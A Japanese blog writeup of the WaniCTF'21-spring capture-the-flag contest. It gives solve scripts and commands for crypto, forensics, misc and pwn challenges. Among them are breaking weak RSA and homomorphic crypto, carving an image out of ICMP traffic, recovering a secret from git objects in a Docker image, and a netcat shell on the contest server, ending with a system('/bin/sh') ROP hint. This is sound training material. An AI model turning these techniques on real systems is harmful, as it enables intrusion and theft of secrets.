WaniCTF'21-spring Writeup

WaniCTF'21-spring について

WaniCTF'21-spring が開催されました。
2021年4月30日午前10時 ~ 2021年5月2日午後8時(58時間)

score.wanictf.org

wanictf.org

WaniCTF は大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF です。 picoCTF 同様に難易度は易しく、初心者向けな難易度でした。
個人形式なので、1人で参加しました。結果は、13/353位で 6320点でした。 33問中 30問解くことができたので、その Writeup を紹介します。

f:id:tsalvia:20210503104755p:plain

f:id:tsalvia:20210503104542p:plain

f:id:tsalvia:20210503104423p:plain

WaniCTF'21-spring Writeup(30問)

Crypto

Simple conversion

戻し方を忘れました…
cry-simple-conversion.zip

数値を文字列に変換するだけ

from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229)
print(flag)
$ python3 solve.py
b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'

FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}

Easy

手始めに
cry-easy.zip

encrypt.py は、以下のようになっている。
A と B がマスクされている。またフラグは、1文字ずつ暗号化されている。

with open("flag.txt") as f:
    flag = f.read().strip()


A = REDACTED
B = REDACTED

plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"

assert all(x in plaintext_space for x in flag)


def encrypt(plaintext: str, a: int, b: int) -> str:
    ciphertext = ""
    for x in plaintext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (a * x + b) % 26
            x = chr(x + ord("A"))
        ciphertext += x

    return ciphertext


if __name__ == "__main__":
    ciphertext = encrypt(flag, a=A, b=B)
    print(ciphertext)

次に、output.txt を見てみると、以下のようになっていた。

HLIM{OCLSAQCZASPYFZASRILLCVMC}

よって、HLIMFLAG になる A と B のパターンを見つけて、復号すればよい。

import itertools

def search_ab():
    for a, b in itertools.product(range(100), repeat=2):
        i = 0
        for c, m in zip('HLIM', 'FLAG'):
            x = ord(m) - ord('A')
            x = (a * x + b) % 26

            if x == ord(c) - ord('A'):
                i += 1

        if i == 4:
            break
    return a, b

def decrypt(ciphertext: str, a: int, b: int) -> str:
    plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"

    plaintext = ''
    for c in ciphertext:
        if 'A' <= c <= 'Z':
            mid_x1 = ord(c) - ord('A')
            for p in plaintext_space:
                x = ord(p) - ord('A')
                mid_x2 = (a * x + b) % 26

                if mid_x1 == mid_x2:
                    break
            plaintext += p
        else:
            plaintext += c

    return plaintext

def main():
    a, b = search_ab()
    print(f'{a = }, {b = }')

    with open('output.txt', 'r') as f:
        enc_flag = f.read()

    flag = decrypt(enc_flag, a, b)
    print(flag)

if __name__ == '__main__':
    main()
$ python solve.py
a = 5, b = 8
FLAG{WELCOMETOCRYPTOCHALLENGE}

FLAG{WELCOMETOCRYPTOCHALLENGE}

Can't restore the flag?

ちりつもですよ
nc crt.cry.wanictf.org 50000 cry-cant-restore-the-flag.zip

フラグの剰余結果を返すスクリプトになっていた。 入力値が300以下になるように制限されている。ただし、負の数に対する制限はない。

from Crypto.Util.number import bytes_to_long

with open("flag.txt", "rb") as f:
    flag = f.read()
flag = bytes_to_long(flag)

assert flag <= 10 ** 103

upper_bound = 300
while True:
    try:
        mod = int(input("Mod > "))
        if mod > upper_bound:
            print("Don't cheat 🤪")
            continue

        result = flag % mod
        print(result)
    except Exception:
        print("Bye 👋")
        break

フラグの値 * -1 より小さい値を入力すると、以下のようになる。

$ nc crt.cry.wanictf.org 50000
Mod > -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
-999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910

Python の場合、mod - result をすれば、元のフラグに戻すことができる。

from Crypto.Util.number import long_to_bytes

mod = -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
result = -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910

flag = long_to_bytes(result - mod).decode()
print(flag)
$ python3 solve.py 
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

Extra

いつものRSA
cry-extra.zip

encrypt.py を見ると、以下のようになっていた。

from Crypto.Util.number import getPrime, bytes_to_long

with open("flag.txt", "rb") as f:
    flag = f.read()

p, q = getPrime(1024), getPrime(1024)
N = p * q
M = 2 * p + q
e = 0x10001


def encrypt(plaintext: bytes) -> int:
    plaintext = bytes_to_long(plaintext)
    c = pow(plaintext, e, N)

    return c


if __name__ == "__main__":
    c = encrypt(flag)

    print(f"{N = }")
    print(f"{M = }")
    print(f"{e = }")
    print(f"{c = }")

以下のような N と M の値が公開されている。

\begin{eqnarray}
N &=& p\cdot q \\
M &=& 2p + q \\
\end{eqnarray}

よって、以下の2次方程式を解けば p が判明する。


-2p^{2} + Mp - N \\

p が分かれば、あとは通常通り RSA で復号するだけ。

import sympy
from Crypto.Util.number import inverse, long_to_bytes

N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993
M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495
e = 65537
c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093

sympy.var('x')

fx = -2*x**2 + M*x - N

answers = sympy.solve(fx, x)
for ans in answers:
    print('p =', ans)

p = int(answers[1])
q = N // p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(c, d, N)
flag = long_to_bytes(m)
print(flag)
$ python3 solve.py
p = 142334186062265063219356604202944121242754649133715704144297972545346872221408855701425640596353771233387545377931080775413744238487922734779839556466413299896274963598187720052834744985690699039533532577445584533324042810567244036823175875348131212319476440307897156023046225832535991641744231454550103900877/2
p = 156360061061064414729350718107475156647696201916384475612165917151672039681953764020196675326794562949007314776569034065998332428376637134929798264399554687150921485448111123851340681028588745762599419292488809801223379887411755235919011704285719068065088499511780173937749645644749974003587069699717535256309
b' FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}\n'

FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}

OUCS

OUによるHomomorphicなCryptoSystemです
nc oucs.cry.wanictf.org 50010
cry-oucs.zip

実行すると、以下のようなメニューが表示される。フラグ以外の値を暗号化および復号することができる。

$ nc oucs.cry.wanictf.org 50010

  .oooooo.   ooooo     ooo   .oooooo.    .oooooo..o
 d8P'  `Y8b  `888'     `8'  d8P'  `Y8b  d8P'    `Y8
888      888  888       8  888          Y88bo.
888      888  888       8  888           `"Y8888o.
888      888  888       8  888               `"Y88b
`88b    d88'  `88.    .8'  `88b    ooo  oo     .d8P
 `Y8bood8P'     `YbodP'     `Y8bood8P'  8""88888P'


╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
>

Homomorphic について検索してみると、準同型暗号 - Wikipedia に以下のように書かれていた。

二つの暗号文 Enc(m_1), Enc(m_2) が与えられたときに、平文や秘密鍵なしで  Enc(m_1 \circ m_2) を計算できる。ここで \circ は、加法  + や 乗法  \times のような二項演算子とする。

試しに、Enc(0x1) * Enc(0x2) を計算して復号したところ、0x3 と表示された。
よって、Enc(flag) * Enc(0x1) を復号し、その結果から 0x1 を減算すれば、元のフラグを求めることができる。

$ nc oucs.cry.wanictf.org 50010

  .oooooo.   ooooo     ooo   .oooooo.    .oooooo..o
 d8P'  `Y8b  `888'     `8'  d8P'  `Y8b  d8P'    `Y8
888      888  888       8  888          Y88bo.
888      888  888       8  888           `"Y8888o.
888      888  888       8  888               `"Y88b
`88b    d88'  `88.    .8'  `88b    ooo  oo     .d8P
 `Y8bood8P'     `YbodP'     `Y8bood8P'  8""88888P'


╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 2
Enter your plaintext
> 1
ciphertext = 0x24a79efd1893d36acf6fc4bbfa88439dbc82755a91adc3b0b4c8cb52d052cbd40851708eeab0cb49ce35e9cbec4891dc614f649738135834c2aded6e783e509dbaa4644220bb92655b4ca3bc19e7fe23ffbac8f464d1780139b25bfa068cb5d9ab316cfce4b3d933053f9bea7ca16568a0fa7896484c34a1efeb363bda1b0f915a273d5534ba79b323151d68275b4bc9ce224b571217de5e07d4669bc2cb20f30246a27caa088d8fbbc53e227657fa87f941a37d773b3e7789bedb9efee536eabf812cd7677ce691e553d5a94007180613a04d902daa9aaa7430bbcd69eb3fb1e6c1119b172fb010efd2b55f42f02fdfe0f40d3d28124b365f506c22c1a83f2a507f6e85edb565e6cc2dc59c10568d148761b4915ffff2cd3f12fe7a3a562329fc14f25609b5aaee0c0dfdb788f3abde01d76387399c2485f9f9c89aaf20ba986570822d215c64dad5fdb5069ebdc1b01ca0bf6054823e2f7d6e443fa094c54032266ab740dec9ecd7175f27118b42a0663624b83f4929455a207dad5b82aaf1

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 2
Enter your plaintext
> 2
ciphertext = 0x3722144289f317dafbd3f037288ae63e7c3ea369275a6b423fd45c27d1549e8ef0294ae718362d9778d8d31384338b43aeea8966fbedd9355e04b2b0b87378e3dece886120f33099c811f50e423c9ec79d9199ed2d831b0fb5d2dc3bae051a72ff56dd9f72260a498590579d6a185072af8875f47ef6e9aa4352562163d6395e204363cbde965b13c4c6b89618b65e3bf9e95eebad76d10c711ca8229672e0f4f7439ae49e97707e157048f1987555ca8eba555b563957e9060a348ec8f8092a924f3db266a4480b6feb27b292d73c18194f86cbff46567b81d8df403489466f9a28e591e2bf66aedfe2c746dc4a72d98d81510aef0dfaa1832d1036c1ce880f7a554c339c9584957af5a9a73265a66c491e955bd03c44f358a2bedc5de8daac7e98743d1a257419c76e3257f4fab1b289b71d7e02107e7b611f3fad9244fdaf7439b02786af752d9eebad66691057a7f8693694c87b7e779f6562bb03950235f99482f90e883ee5770bd4505f4dc91f07b1a05357cf55602253d9a06b00c0e7

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 3
Enter your ciphertext
> 1040774174773251124988568146951646413754293884494777742666536061894280705293528498559895971596879764012651716381920749330084066872937771978244340311638139158747699547473524035997770136767845297120420523041968622773545023216755327025642449817256832027000743781701381806654461981628857210252525714459085270669619270106994882674341710563230448003326301253137252592394891838212718473482521703252557855926886985309539405200407385661707132113800473557552972641282455189840044099466921506474278054287549214845417382815963342281917523913917735453174459761885197228755221531295334321645938305720035361776619080740010173139636749093600364512273120864448785020865717105975996773108590018817146826192022500053929622437048279634309962985743478958858990712035099005112751974405184230897918411516928053934094194010589677536216642180106347451752030746284930132274902996691488550775313390250222656839220442807885753003667177602581489563898165689551738555961695099083328535565888444455537719620191821095208713351424552947553762736552732990929277110400904150907530260033418316373309444765956464207349001674417362519582322176421704227999450949216113216365720418053241339155776422229062498780978157554838035964668357366034206121163148752051510151319150523746329840240591160414687914915853729271264800151185316458437655649744943513713270561821486185670265429521642567350760302264846975645417617911984580459082648691338699912690326968930455449143161226101181754359966084685498263648357185259620498416239877199334979300964041722081139634843539608233818791478004052666006289508511855528458818905147178559203389547085434953806966531702391941253715646821472757909026211937113761423383568949485337508006381535587447610914420522375393037255612940064490009661080208401211212286668565155939213254758644258428582736413019312642859245557032571730246094345834483977400431357816799095
plaintext = 0x3

スクリプトを書くと以下のようになる。

import nclib
from Crypto.Util.number import long_to_bytes

HOST = 'oucs.cry.wanictf.org'
PORT = 50010

nc = nclib.Netcat((HOST, PORT))

nc.readuntil('> ')
nc.sendline(b'1') # Encrypt flag
enc_flag = int(nc.readline().decode().split('=')[-1], 16)
print(f'enc_flag = 0x{enc_flag:x}')

nc.readuntil('> ')
nc.sendline(b'2') # Encrypt
nc.readuntil('> ')
nc.sendline(b'1') # Encrypt 0x1
enc_0x1 = int(nc.readline().decode().split('=')[-1], 16)
print(f'enc_0x01 = 0x{enc_0x1:x}')

enc_flag_0x1 = enc_flag * enc_0x1
print(f'enc_flag_0x01 = 0x{enc_flag_0x1:x}')

nc.readuntil('> ')
nc.sendline(b'3') # Decrypt
nc.readuntil('> ')
nc.sendline(hex(enc_flag_0x1).encode())
plaintext = int(nc.readline().decode().split('=')[-1], 16)
print(f'plaintext = 0x{plaintext:x}')

flag = long_to_bytes(plaintext - 0x1)
print(flag)

実行すると、フラグを復号することができた。

$ python3 solve.py
enc_flag = 0x4fb28062a733e9ede74add9df7abda0f562ff8a30cdada6a3fb8e11c2a9372d0d8871a1b6cc0bddaba52ceeed69ee6435ac52af4a0c326603cf44aa068445b044fe48e364648297072ddd6049a65ff8f9f8c72d3b4fd41b75eaee67202ba74ccf8311efb0c1e4f89bc14f3eb35585cc212ade2efcc864c7305d5225a62071febcf88678fa715455bc9885d3fc268ba8863c67f2a63898ed97167cfed9ff4451b03aa101c998cf9bd446299049ef82dbcabdc32a4febf137942fab08e2d053622feb359b264b32d092dbe725e9b0a5e81cd2e0b79bf5e4b334fc2c7d81a2fcbae2757a817a370d4aa37ba51ae5d645037276419c546855a6b0874b2b03dd0d59153ce30a2e8991a42f15f1041d694895c92ef1bbbabd0cb79bced32f225e894f755bc674ad8b09a41c8c52be66b4c3bc04a310ee399eb3db1de1be90f1ebc87782116b14fa65ca30072f410865fcb4555038464d996810b712cbaec7f3b7b5349c78fa34544b5c09232fc8aa8c5dd92ebe6455012b168aa8c85a4d772a4ff3c92
enc_0x01 = 0x2dd776c2bde704eb0b65b5b6d49826a57f1b0a994a6e7d7531f45891a93db7829c8817a1559c6fd08a7adc46f41dd65e966dc39cfb0dfa3c2fa96aa8a387e3e534cd9e32eb1bff5ab2103101a98827c8e0613521827f2233a4ea21e8a68fb63394e6d95c3062e55e3119b2a9dd91ed51c84952ce650dc2175e1fb35d88e90d82930cd007914a77b7dceee5c0958a085d82a31ba826371d8693cb6cdb1bef2960545e79b64d64099f1d57ed36d8f7deb72c46cc4d006e16bd125f772e7cf1cb40cec5710583b2b05a79c732435d302b4a7f6d90e35b4fe183f6c28223836d7ced08d434425ec91d16e54cef0dd3483a15c8ce3b182b9a3e29bebc78cdbf260b931e62ebdb138d9c21a71677a5ed7cf66c94239f1b7cdb46c2f40dce7d2d6cedbe709a1221e4d0b2c2f1975c196a7e47931ae117b7522525fdc6b7e786509390ba9c9303a65c76ee62b7477a409f2b47190424aa5f91f978ca6209689823b85e9247f59709e993fa57aec3bcd8a2a9289caab111d0ac4b4a9fa3d16243699fc4b1
enc_flag_0x01 = 0xe45747411d004ef908045f6b6cbd0ecdb2c03c62dde2b142c30a1fac68bbaa52288674d1aa2279b736f9b92a18038f1f13da4db910da18f0176077f34b1f0d88a02dd76f4649c0fbdb5b61ee0cc99f89c2692dcb73bf441e852b5244bd08033d21a7af1e87136b317c3259a8ca06a64ecdd510a3128c62b6394c55065a55568642b39e3a6beb0d27bc8e3311460de591646e0ebabb5b18101c0d2d6539ad8ef52d6a0a1f3bbfb217e3187c6a3e4d6cb13fb5dbde33ed8e0778b659277cd954b3aebf917d1cd7a1023b8607456508835df799d449aa1af7722d0b62eb34391c78c5eef215cfba52e4c79be846da65c2b31387f566db761dfcd0daae16303b20c0527821895aadac1587142438f8940afaf042247d2a3169f6719010856f51c93fe2e1fb37d55d1eb19825bb52d8cf04afa1602aa6b3beb2bdf52d5f403002667ee3e858ab851b597c23f888ff6a08e87a78f49f06300d3b9539cc88b2fef142fbc4f40c852221904862649779c2feed71adc6047124d1a6c8ea474efbe195a4731f13f1deecee872c0819429545b172950999a61a2f2bc75dda6d124774ea0cd731b61ac358244db51b9c71b77a62f18588b4e973b130ea73ea82c9fbe08e235a60a76cca56dd2f8680bb82625d224e35d59ec6fd696321f00aa01e1b73795e98e7a1eb29f0029e643072d2d4e536e639de2d2e8af4d6173e721c28de7335008f66f4defac958ff78ef00f776123959eb97438e956be12add45a4968cfb2bbef147f287d7ed897a0efd7e2b104a9769bc5d01547df75ffe5984f1af1bb377a6f56a993161fe3e45a9e7286709b09524f2cca51464ebe6ad99d32a54c25e3e1a9e11933a05f4453f19d39155f02a23d9ee48751a3aaaefad51f889dcefc2edb7603e1bf8d65263ad8152c7ceb12d9ad7f18f7a0e899176212644200e87262938dd00ab93a310f8542824eec896f150e4789a519ceba437e0879ee21ab17ecbb432f63f29404d7a14728154b9dc9f9b3ccdb9f59fab6651006abd6ee8c134f21b11c636e12af5182c11b96ea69c762a5de878df9676d1d7004befca52bff86a8f2
plaintext = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e
b'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}'

FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}

Forensics

presentation

このままじゃFLAGをプレゼンできない...
for-presentation.zip

presentation.ppsx を zip として展開し、FLAG という文字列が含まれるファイルを探索してみると、./ppt/slides/slide1.xml に含まれていることが分かった。

$ find . -type f | xargs strings -f | grep FLAG | less -S
./ppt/slides/slide1.xml:  3"><a:extLst><a:ext uri="{FF2B5EF4-FFF2-40B4-BE49-F238E27FC236}"><a16:creationId xmlns:a16="http://schemas.microsoft.com/office/drawing/2014/main" id="{D20E0E16-856A-4D90-B526-357B102A98A1}"/></a:ext></a:extLst></p:cNvPr><p:cNvSpPr txBox="1"/><p:nvPr/></p:nvSpPr><p:spPr><a:xfrm><a:off x="0" y="2716696"/><a:ext cx="12192000" cy="769441"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom><a:noFill/></p:spPr><p:txBody><a:bodyPr wrap="square" rtlCol="0"><a:spAutoFit/></a:bodyPr><a:lstStyle/><a:p><a:pPr algn="ctr"/><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>FLAG{</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0" err="1"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>you_know_how_to_edit_ppsx</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>}</a:t></a:r><a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:endParaRPr></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="

該当するタグを抜き出して整形すると、以下のようになっており、フラグが書かれていた。

<a:p>
    <a:pPr algn="ctr"/>
    <a:r>
        <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0">
            <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
            <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        </a:rPr>
        <a:t>FLAG{</a:t>
    </a:r>
    <a:r>
        <a:rPr kumimoji="1" lang="en-US" altLang=gg"ja-JP" sz="4400" b="1" dirty="0" err="1">
            <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
            <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        </a:rPr>
        <a:t>you_know_how_to_edit_ppsx</a:t>
    </a:r>
    <a:r>
        <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0">
            <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
            <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        </a:rPr>
        <a:t>}</a:t>
    </a:r>
    <a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0">
        <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
    </a:endParaRPr>
</a:p>

FLAG{you_know_how_to_edit_ppsx}

MixedUSB

USBにパーティションを設定したら、どこにFLAGを保存しているのかわからなくなってしまいました...
MixedUSB.img

ダウンロードしてきて、strings するだけ

$ strings MixedUSB.img | grep FLAG
FLAG    TXT
FLAG{mixed_file_allocation_table}

secure document

本日の資料は以下を入力して圧縮しました。
the password for today is nani
for-secure-document.zip

flag_20210328.zip と password-generator の2つのファイルが与えられている。

flag_20210328.zip は、パスワード付きzipで暗号化されている。
password-generator は、以下のようになっていた。

::the::
Send, +wani
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return

Google"Send" "return" "FormatTime" "SendInput" "Esc" と検索すると、AutoHotkey が出てきた。

以下のように作業を行ったところ、パスワードっぽい文字列が表示された。

  1. AutoHotkey をインストールする。
  2. password-generator を password-generator.ahk にリネームする。
  3. password-generator.ahk をダブルクリックで実行する。
  4. メモ帳等のテキストエディタを開く。
  5. the password for today is nani と入力すると、
    password: Wan1_20210430_C7F!na! と表示された。

20210430 のところは、作業を行った日付になっている。 zip 内のファイルの更新日時を確認してみると、2021-04-28 03:03 になっていた。

よって、flag_20210328.zip のパスワードは、Wan1_20210428_C7F!na! だと判明した。
zip を展開して、画像ファイルを開いてみると、フラグが書かれていた。

FLAG{Nani!very_strong_password!}

illegal image

裏で画像がやり取りされているらしい
for-illegal-image.zip

画像がやり取りされているとのことなので、JPEG ヘッダの FFD8FFE0 で検索してみたところ、ICMP パケット内に JPEG ヘッダの値が見つかった。

f:id:tsalvia:20210503064701p:plain

複数の ICMP パケットに分割されているようなので、tshark で切り出して画像を抽出した。

$ tshark -r illegal_image.pcap -T fields -e data.data icmp.type==8 | tr -d "\n" | xxd -r -p > icmp_data.jpg

抽出した画像を開いてみると、フラグが書かれていた。

FLAG{ICMP_Exfiltrate_image}

slow

宇宙からメッセージが届きました。(※音量注意!)
for-slow.zip

slow.wav を聞いてみると、ピーピーピロリ―という音が初めに聞こえてくる。 また、宇宙、slow というキーワードから、アマチュア無線の画像通信で使用される SSTV(Slow Scan Television)だと分かる。

RX-SSTV を使って音声を画像に変換したところ、フラグが表示された。

f:id:tsalvia:20210503070022p:plain
※ 備考: VB-CABLE のような仮想オーディオデバイスでPC内音声をマイクに流してあげると、きれいな画像に変換させやすい。

FLAG{encoded_by_slow-scan_television}

Misc

binary

文字も所詮1と0の集合です。
sample.pyを参考に復号器を作ってみてください。
mis-binary.zip

binary.csvCyberChef の From Binary で文字列に変換するだけ

FLAG{the_basic_knowledge_of_communication}

Git Master

https://hub.docker.com/r/wanictf21spring/nginx_on_ubuntu
ホームページをみんなで開発したいので、イメージを公開するです。
昔、秘密の文字列をコミットしたことがあるけど大丈夫だよね...?

DockerHub から pull してコンテナを起動させる。

$ docker pull wanictf21spring/nginx_on_ubuntu:latest
$ docker run -it --rm -v /tmp:/tmp wanictf21spring/nginx_on_ubuntu:latest /bin/bash

.git ディレクトリをマウントしておいた /tmp 経由で取り出す。

$ find / -type d -name ".git" -not -path "/tmp/*"
/var/www/.git
$ cp -r /var/www/.git /tmp 

git コマンドの cat-file を使ってすべてのファイルのデータを抽出する。

$ for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt

strings で確認していくと、分割されたフラグの文字列が確認できた。

$ strings output.txt | grep FLAG
FLAG{y0u_

$ strings output.txt

# snip

100644 blob 60ca0b1f76d898f5c11a381592d5c37385bebea8    Flag.txt
040000 tree 2bfd1c362f310a7fbb2be6fd3546819d456b4499    assets
100644 blob 737f9d108236e05f619c40963e92285bb643663a    favicon.ico
100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae    index.html
tree 79c413edb2d73bad622242e1644709f70b5da3d2
parent 058a5020310afc637ee59cf3dfc371d2be91b4d0
author wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900
committer wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900
initialization of html/index.html
100644 blob 737f9d108236e05f619c40963e92285bb643663a    favicon.ico
100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae    index.html
_m45t3r}
tree cb29ddc5d574be325a2485fbb71bc1f00ce7208c
parent e4c9da8d153ceb2efdc7521ac71d522ca7ca5fb7
author wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900
committer wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900
initialization of html/favicon.ico
tree 6a784d9649db84ce32196cfc5091303a87042467
author okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900
committer okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900
initialization of Dockerfile
100644 blob 14a76c6030cf11b6241f0df80480ce5cdf3db695    main.css
4r3_p3rf3c7_g1t
100644 blob 428833073ab18a3890a89de8c8066969baa0a295    Dockerfile
100644 blob 6919be129dd806595762632b6ca24ebab8fe593e    docker-compose.yml

FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}

ASK

Amplitude Shift Keying
mis-ask.zip

ask.csv の改行を削除して見てみると、0 や 1 が連続している箇所が多くみられた。
問題文から 0 と 1 を増幅させているのだと思われる。

よって、 CyberChef で ask.csv を以下のように変換してみると、フラグが表示された。

  1. 改行を削除する。
  2. 0000000000000000000000000000000 を 0 に変換する。
  3. 1111111111111111111111111111111 を 1 に変換する。
  4. バイナリを文字列に変換する。
  5. strings で可読文字列のみ抽出する。

CyberChef レシピ

Remove_whitespace(true,true,true,true,true,false)
Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false)
From_Binary('Space',8)
Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)

FLAG{als0-k0own-4s-0n-0ff-key1ng}

Manchester

Manchester Encoding
mis-manchester.zip

Manchester Encoding について調べてみると、Clock に合わせて 2bit ずつ XOR を取るらしいということが分かった。

ja.wikipedia.org

よって、ASK と同じように 0 と 1 の増幅を戻した後、 CyberChef で以下のように変換すると、フラグが表示された。

  1. 00 を削除する
  2. 10 と 11 を 1 に変換する
  3. 01 を 0 に変換する
  4. バイナリを文字列に変換する。
  5. strings で可読文字列のみ抽出する。

CyberChef レシピ

Remove_whitespace(true,true,true,true,true,false)
Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false)
Regular_expression('User defined','[01]{2}',true,true,false,false,false,false,'List matches')
Find_/_Replace({'option':'Regex','string':'00'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'10|11'},'1',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'01'},'0',true,false,true,false)
From_Binary('Space',8)
Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)

FLAG{avoiding-consective-ones-and-zeros}

Pwn

01 netcat

nc netcat.pwn.wanictf.org 9001
・netcat (nc)と呼ばれるコマンドを使うだけです。
・つないだら何も出力されなくても知っているコマンドを打ってみましょう。

使用ツール例
netcat (nc)

gccのセキュリティ保護
・Full RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)有効

pwn-01-netcat.zip

netcat で接続すると、シェルにアクセスすることができた。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}

FLAG{this_is_the_same_netcat_problem_as_previous_one}

03 rop machine easy

nc rop-easy.pwn.wanictf.org 9003
ヒント
・ropでsystem("/bin/sh")を実行して下さい。
